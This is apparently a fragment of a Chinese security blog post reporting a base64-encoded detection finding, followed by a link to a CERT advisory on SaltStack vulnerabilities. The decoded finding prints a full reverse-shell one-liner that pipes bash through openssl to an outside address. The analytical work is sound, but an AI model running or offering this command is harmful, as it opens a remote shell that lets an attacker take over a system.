补充信息
特征发现:匹配规则base64编码
解码特征(存在反弹shell):mkfifo /tmp/s;/bin/bash -i < /tmp/s 2>&1|openssl s_client -quiet -connect 172.31.0.1:1196 > /tmp/s;rm -f /tmp/s
相关推荐: 【通告更新】SaltStack多个高危安全风险第二次更新
奇安信CERT致力于第一时间为企业级用户提供安全风险通告和有效解决方案。风险通告近日,奇安信CERT监测到SaltStack官方发布安全更新修复了三个高危漏洞,其中包括SaltStack未授权访问漏洞(CVE-2021-25281)、SaltStack任意文件…
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论